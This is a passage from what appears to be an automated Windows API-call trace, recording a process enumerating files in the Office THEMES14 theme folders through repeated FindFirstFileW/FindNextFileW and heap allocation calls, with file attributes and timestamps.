ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.755] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.756] GetProcessHeap () returned 0x560000 [0220.756] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.756] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0220.756] GetProcessHeap () returned 0x560000 [0220.756] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.756] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.756] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0220.757] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0220.757] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.757] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.757] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.757] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.758] GetProcessHeap () returned 0x560000 [0220.758] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.758] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0220.758] GetProcessHeap () returned 0x560000 [0220.758] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.758] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.758] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0220.759] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0220.759] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.759] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.759] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.759] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.759] GetProcessHeap () returned 0x560000 [0220.760] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.760] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0220.760] GetProcessHeap () returned 0x560000 [0220.760] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.760] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.760] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0220.761] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0220.761] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.761] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.761] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.761] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.762] GetProcessHeap () returned 0x560000 [0220.762] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.762] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0220.762] GetProcessHeap () returned 0x560000 [0220.762] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.762] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.763] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0220.763] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0220.763] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.763] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.763] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.763] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.764] GetProcessHeap () returned 0x560000 [0220.764] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.764] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0220.764] GetProcessHeap () returned 0x560000 [0220.764] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.764] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.765] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0220.765] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0220.765] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.765] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.765] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.765] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.766] GetProcessHeap () returned 0x560000 [0220.766] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.766] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0220.766] GetProcessHeap () returned 0x560000 [0220.766] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 